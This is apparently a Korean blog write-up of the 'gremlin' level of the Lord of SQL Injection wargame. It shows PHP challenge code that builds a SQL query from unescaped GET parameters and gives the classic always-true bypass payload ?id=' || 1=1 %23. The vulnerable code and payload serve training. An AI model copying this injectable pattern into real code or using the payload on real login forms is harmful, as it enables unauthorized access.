query : select id from prob_gremlin where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
PHP 문법
include
- ./config.php 파일의 내용을 가져오겠다.
- include를 사용한다면 include된 파일 수정 시 모든 페이지에 config.php라는 것이 반영됨
preg_match
- 첫 번째 인수 : 정규식 표현
- /i : 대소문자 구분 안함
- 두 번째 인수 : 검색 대상 문자열
- 세 번째 인수 : 패턴 매치에서 매칭된 값을 배열로 저장.
코드 해석
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
- ID, PW를 POST 방식이 아닌 GET 방식으로 삽입되는 것을 알 수 있음
if($result['id']) solve("gremlin");
- id 값이 존재하면, solve
문제 해결
항상 참으로 만들기
- id='' or 1=1 #
- GET 방식으로 URL에 SQL 대입( ?id=' || 1=1 %23 )
- query : select id from prob_gremlin where id='' || 1=1 #' and pw=''
참고 사항
- or -> ||
- # -> %23
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 05 ] wolfman (0) | 2021.12.18 |
---|---|
[ LS - 04 ] orc (0) | 2021.12.18 |
[ LS - 03 ] goblin (0) | 2021.12.18 |
[ LS - 02 ] cobolt (0) | 2021.12.18 |
[ LS - 00 ] Lord of SQL Injection (0) | 2021.12.18 |